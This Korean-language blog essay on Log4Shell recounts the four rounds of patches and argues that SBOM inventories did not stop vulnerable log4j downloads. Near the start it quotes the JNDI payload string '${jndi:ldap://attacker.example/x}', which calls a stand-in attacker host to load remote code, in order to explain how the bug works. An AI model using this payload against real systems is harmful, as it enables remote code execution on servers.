Log4Shell는 우리의 서류를 고쳤지, 의존성을 고치지 않았다

패치가 나온 지 4년 뒤에도 Sonatype 조사에서 Log4j 다운로드 여덟 건 중 대략 한 건은 여전히 취약한 버전이었다. 우리는 깨진 의존성을 목록으로 정리하는 데는 아주 능숙해졌고, 그걸 배포하지 않는 데는 거의 나아지지 않았다.

2021년 12월 둘째 주말, 로깅 라이브러리 하나가 자바를 쓰는 인터넷 대부분을 원격 코드 실행 표적으로 바꿔놨다. 그것도 거의 아무도 켜져 있는 줄 몰랐던 기능을 통해서.

그 버그 — CVE-2021-44228, 점수는 정확히 10.0, 영원히 Log4Shell이라는 별명 — 는 log4j가 로그 메시지를 그냥 기록하는 게 아니라 해석했다는 것이었다. 당신이 기록한 문자열에 ${jndi:ldap://attacker.example/x}가 들어 있으면, log4j는 친절하게도 그 JNDI 참조를 따라 공격자 서버로 나가 자바 클래스를 내려받아 실행했다. 페이로드는 API나 로그인 폼에 닿을 필요조차 없었다. 서버가 로그로 남기는 무엇에든 올라탈 수 있었다: User-Agent 헤더, 채팅 메시지, 사용자명 필드, 누군가 아이폰에 입력한 기기 이름. 사람들은 와이파이 핫스팟 이름을 바꿔 셸을 땄다. 공격 표면은 “당신이 로그에 뭔가 썼는가”였고, 그건 곧 모두였다.

그리고 log4j는 어디에나, 네 겹 아래, 아무도 넣은 기억이 없는 코드 속에 있었다. 곱씹을 대목은 바로 여기다. 이게 이야기의 전부이기 때문이다.

네 번 만에 끝난 패치

Log4Shell의 깔끔한 버전은 “치명적 버그, 패치 릴리스, 위기 종료”다. 실제로 일어난 일은 그게 아니었고, 그게 실시간으로 안 일어나는 걸 지켜본 것이 이 사건 전체에서 가장 정직한 교훈이었다.

첫 수정 2.15.0은 빠르게 나왔고 — 불완전했으며, 그래서 자체 후속인 CVE-2021-45046를 낳았다. 그래서 2.16.0이 더 나아가 메시지 룩업을 통째로 뜯어내고 JNDI를 기본 비활성화했다. 그러자 누군가 그것에서 서비스 거부 경로 CVE-2021-45105를 찾았고, 2.17.0에서 고쳐졌다. 그다음 JDBC 어펜더를 통한 원격 코드 실행 경로 CVE-2021-44832, 2.17.1에서 고쳐졌다. CVE 넷, 릴리스 넷, 대략 5주 안에. 이틀째에 2.15.0으로 패치했다고 자축한 모든 운영팀은 닷새째에 다시, 그다음 주에 또 해야 했다.

교훈은 “더 빨리 패치하라”가 아니었다. “그냥 패치해”는 그게 거기 있는 걸 안다고, 그리고 한 번 패치하면 끝난다고 가정하는데, 둘 다 성립하지 않았다는 것이다.

우리는 서류 캐비닛으로 손을 뻗었다

한 부류의 문제 — 돌리는 줄도 모르는 걸 방어할 수는 없다 — 앞에서, 업계는 거의 반사적으로 목록으로 손을 뻗었다. 소프트웨어 자재 명세서, SBOM은 틈새 규정 산출물에서 임원들이 회의에서 입에 올리는 단어로 올라섰다. 미국은 그해 5월 행정명령 14028로 연방 정부에 파는 소프트웨어에 이미 SBOM을 의무화한 상태였다. Log4Shell은 그 기원 신화가 됐다. CISA는 긴급 지침과 영향받는 제품의 실시간 목록을 세웠다. 모든 벤더가 모든 고객의 단 하나의 질문에 답하려 허둥댔다: 여기 log4j가 있는가, 어디에?

여기선 공정하고 싶다. 냉소하기 쉬우니까: 이건 손을 뻗을 만한 합리적인 대상이었다. SBOM은 진짜로 유용한 문서다. 다음 Log4Shell이 터질 때 — 그리고 터진다, JNDI 모양의 자충수는 일회성이 아니라 설계 패턴이니까 — “한 시간 안에 안다”와 “3주간 grep해서 안다”의 차이는 어마어마하다. 무엇을 돌리는지 아는 것은 진짜 역량이고, 2021년 이전엔 대부분의 조직이 그걸 갖지 못했다. 그걸 갖게 된 건 진전이었다.

하지만 목록은 조치가 아니다. 취약한 의존성의 목록은 할 일 목록이지 수정이 아니고, 불편한 데이터는 그 할 일 목록이 대체로 처리되지 않았다는 것이다.

다운로드 숫자가 증거다

모든 “우리는 교훈을 얻었다” 연설을 끝장내야 할 숫자가 여기 있다. 안전한 패치 log4j는 2021년 12월 말에 존재했다. 그런데도 Sonatype 보고에 따르면 그 후로도 한참 동안 Maven Central에서 받는 log4j 다운로드의 약 40%가 여전히 취약한 버전이었다 — 사람들이, 최근 몇 년 가장 널리 알려진 소프트웨어 취약점 한복판에서, 깨진 걸 일부러 능동적으로 끌어당기고 있었다. 그 수치는 내려왔다. 0으로 가지는 않았다. 최근인 2024년에도 log4j 다운로드 여덟 건 중 대략 한 건은 여전히 취약한 릴리스였다 — 수정된 지 수년, 세상의 모든 대시보드가 바로 이 라이브러리에 빨간불을 켠 채로.

그걸 무지로 설명할 수는 없다. 소프트웨어 업계에 Log4Shell을 모르는 사람은 없다. 이 시대 가장 유명한 CVE다. 그 다운로드는 못 들어서 일어나는 게 아니다. 아는 것과 고치는 것은 다른 근육이고, 우리는 그중 하나만 단련했기 때문에 일어난다.

목록이 그것을 못 고치는 이유

이유는 구조적이고, 애초에 버그가 그토록 멀리 퍼진 이유와 같다. 거의 아무도 log4j를 고르지 않았다. 당신은 웹 프레임워크를 골랐고, 그게 데이터 계층을 끌어왔고, 그게 로깅 파사드를 끌어왔고, 그게 당신이 한 번도 끝까지 읽어본 적 없는 의존성 트리 네 단계 아래에서 log4j-core를 끌어왔다. 전이적이다. 당신 코드에 있는 게 아니라, 당신 코드의 코드가 의존하는 코드에 있다.

그래서 SBOM은 제 일을 완벽히 한다 — 여기 log4j 2.14가 있다고 말한다 — 그러고는 그 문제를 인간에게 넘기고, 그 인간은 “그냥 업그레이드해”가 옛 버전을 전이적으로 고정하는 최상위 의존성을 올리는 일이고, 그게 다른 두 개를 깨고, 이번 스프린트에 그걸 테스트할 시간이 아무에게도 없다는 걸 발견한다. 버전은 고정된다. 빌드 파일은 다음 서비스로 복사된다. Docker 베이스 이미지가 그걸 호박 속에 얼려 넣는다. 라이브러리가 한번 배선되고 전부 컴파일되면, 그건 남고, 뭔가가 강제로 밀어붙이기 전까진 아무도 그 선택을 재검토하지 않는다 — 그리고 대시보드의 빨간 줄은, 알고 보니, 그럴 만큼의 힘이 아니다.

그게 업계 전체가 빠진 함정이다. 우리는 코드 문제를 문서 문제로 다뤘고, 문서가 우리가 아주 능숙해진 것이다. 우리는 이제 프로덕션으로 배포하는 취약한 의존성의 아름답고 정확한 기계 판독 가능 목록을 만들 수 있다. 목록은 어느 때보다 길고 정확하다. 배포는 계속된다.

실제로 무엇이 바뀌었어야 하나

Log4Shell이 우리가 소프트웨어를 만드는 방식을 진짜로 바꿨다면, 다운로드 숫자는 그저 처지는 게 아니라 무너졌을 것이다. 그 숫자를 움직이는 건 더 나은 목록이 아니라 — 수정아는 것만큼 자동으로 만드는 것이다. 이번 스프린트에 누가 신경 쓰기로 결정하지 않아도 스스로 안착하고 테스트하는 의존성 업데이트. 아무도 안 읽는 경고를 찍는 대신, 알려진 치명적 전이 의존성 앞에서 닫히는 방향으로 실패하는 빌드 시스템. 네 겹 아래 것을 업그레이드해도 그 위 전부가 안 깨지길 기도하지 않아도 되는 생태계. 그건 비싸고 볼품없는 배관이고, 감사관에게 보여줄 규정 산출물을 만들어주지 않는데, 그게 바로 우리가 대신 서류 캐비닛을 지은 이유다.

4년이 지난 정직한 점수판은 이렇게 읽힌다: 우리는 문제를 정교하게 볼 수 있고, 여전히 여덟 번에 한 번 그걸 배포하고 있다. Log4Shell이 우리에게 아무것도 못 가르친 게 아니다. 불이 계속 타는 동안 그 불에 대해 아주 좋은 메모를 남기는 법을 가르쳤다.

토론 참여

← 블로그로 돌아가기